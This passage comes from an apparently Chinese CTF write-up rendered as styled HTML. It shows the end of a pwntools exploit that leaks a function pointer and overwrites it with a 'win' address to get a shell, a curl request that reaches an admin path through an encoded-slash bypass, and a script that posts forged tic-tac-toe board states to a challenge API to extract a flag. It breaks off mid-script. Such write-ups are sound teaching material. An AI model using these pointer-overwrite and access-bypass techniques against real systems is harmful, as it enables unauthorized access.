26px;"><span leaf="">f&#34;Leaked data: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{leak_data.hex()}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span leaf="">    func_ptr = u64(leak_data[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">])</span><br/><span leaf="">    log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Leaked func_ptr (sub_2EE0): </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{hex(func_ptr)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Calculate win function address</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># sub_2EE0 and sub_3000 are in the same binary</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Offset: 0x3000 - 0x2EE0 = 0x120</span></span><br/><span leaf="">    win_addr = func_ptr + (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3000</span></span><span leaf=""> - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2EE0</span></span><span leaf="">)</span><br/><span leaf="">    log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Win function (sub_3000): </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{hex(win_addr)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Data 2: 8 bytes for WRITEBUF → overwrite func_ptr</span></span><br/><span leaf="">    r.send(p64(win_addr))</span><br/><span leaf="">    log.success(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Shell incoming!&#34;</span></span><span leaf="">)</span><br/><span leaf="">    r.interactive()</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__main__&#39;</span></span><span leaf="">:</span><br/><span leaf="">    main()</span></code></pre><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Web:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Borderline Personality</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">curl -i --path-as-is &#34;<a href="http://chall.ehax.in:9098/%2fadmin/flag" target="_blank">http://chall.ehax.in:9098/%2fadmin/flag</a>&#34;</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">I can also do it</span></span></h3><table><tbody><tr><td><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Dockerfile</span><br/><span leaf="">访问<a href="https://stores.stapat.xyz即可" target="_blank">https://stores.stapat.xyz即可</a></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">tictactoe</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">分析前端代码 - script.js 向 /api 发送 POST 请求，携带 mode 和 state（棋盘状态）,3x3 模式无法赢 - AI 使用 minimax 算法，在 3x3 模式下不可战胜。直接篡改棋盘会被检测为作弊（cheat: true）</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">发现 4x4 模式 - 将 mode 改为 &#34;4x4&#34; 后，服务器返回 &#34;AI sensors blind in ghost sectors&#34;，说明 AI 在 4x4</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">模式下无法正常工作 ,4x4 全填满 - 发送 4x4 棋盘且全部填 1（玩家），AI 无法应对这个&#34;维度转换&#34;，返回 flag</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> httpx</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> json</span><br/><span leaf="">url = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="https://ctf-challenge-1-beige.vercel.app/api" target="_blank">https://ctf-challenge-1-beige.vercel.app/api</a>&#34;</span></span><br/><span leaf="">client = httpx.Client(timeout=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">30</span></span><span leaf="">)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4x4 mode 让AI传感器失效, 尝试在4x4模式下赢</span></span><br/><span leaf="">payloads = [</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4x4 玩家赢 - 第一行</span></span><br/><span leaf="">    {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;mode&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;4x4&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;state&#34;</span></span><span leaf="">: [[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]]},</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4x4 玩家赢 - 对角线</span></span><br/><span leaf="">    {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;mode&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;4x4&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;state&#34;</span></span><span leaf="">: [[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]]},</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4x4 空</span></span><br/><span leaf="">    {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;mode&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;4x4&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;state&#34;</span></span><span leaf="">: [[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]]},</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4x4 with -1 (AI) and 1 (player) - 玩家赢</span></span><br/><span leaf="">    {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;mode&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;4x4&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;state&#34;</span></span><span leaf="">: [[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]]},</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 5x5</span></span><br/><span leaf="">    {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;mode&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;5x5&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;state&#34;</span></span><span leaf="">: [[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]]},</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4x4 单步</span></span><br/><span leaf="">    {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;mode&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;4x4&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;state&#34;</span></span><span leaf="">: [[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]]},</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4x4 全是1</span></span><br/><span leaf="">    {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;mode&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;4x4&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;state&#34;</span></span><span leaf="">: [[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">],[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]]},</span><br/><span leaf="">]</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i, payload </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(payloads):</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><br/><span leaf="">        resp = client.post(url, json=payload)</span><br/><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{i}</span></span><span leaf="">] Payload: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{json.dumps(payload)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;    Status: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{resp.status_code}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;    Response: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{resp.text}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span leaf="">        